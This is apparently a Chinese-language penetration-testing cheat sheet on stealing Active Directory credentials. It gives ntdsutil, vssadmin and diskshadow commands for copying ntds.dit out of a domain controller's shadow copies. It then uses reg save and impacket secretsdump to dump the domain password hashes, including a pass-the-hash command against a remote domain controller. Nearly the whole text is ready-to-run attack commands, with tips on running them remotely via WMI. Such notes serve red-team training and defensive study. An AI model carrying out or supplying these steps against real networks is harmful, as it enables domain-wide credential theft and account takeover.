一、通过ntdsutil.exe提取ntds.dit
1.在域控制器的命令行环境中创建一个快照
ntdsutil snapshot "activate instance ntds" create quit quit
2.加载创建的快照
ntdsutil snapshot "mount {b0694058-f87c-410c-85fa-0b6dc9d297d7}" quit quit
3.复制快照中的文件
copy C:\$SNAP_202107021131_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public
4.卸载之前加载的快照并删除
ntdsutil snapshot "unmount {b0694058-f87c-410c-85fa-0b6dc9d297d7}" "delete {b0694058-f87c-410c-85fa-0b6dc9d297d7}" quit quit
5.查询当前快照
ntdsutil snapshot "List All" quit quit
二、通过vssadmin提取ntds.dit
vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。
Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 200
1.在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
2.在创建的卷影拷贝中将ntds.dit 复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
3.删除刚刚拷贝的卷影
vssadmin delete shadows /for=c: /quiet
三、使用diskshadow导出ntds.dit
因为diskshadow的代码是由微软签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。
使用diskshadow.exe加载command.txt文件时需要在c:\windows\system32下执行
c:\Windows\System32>diskshadow /s c:\command.txt
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘c:\ntds.dit
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
注意事项:
渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。
在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。
在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。
在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。
在使用diskshadow.exe导出ntds.dit时,必须在C:windowssystem32\中进行操作。
脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。
四、使用impacket工具包导出散列值
c:\>reg save hklm\system c:\windows\temp\system.hive
python3 secretsdump.py -system system.hive -ntds ntds.dit LOCAL >> ntds.txt #导出ntds.dit中的散列值
impacket还可以通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:f478e94103927311912ff00846210a30 -just-dc testlab.com/Administrator@1.1.1.8
导出域控hash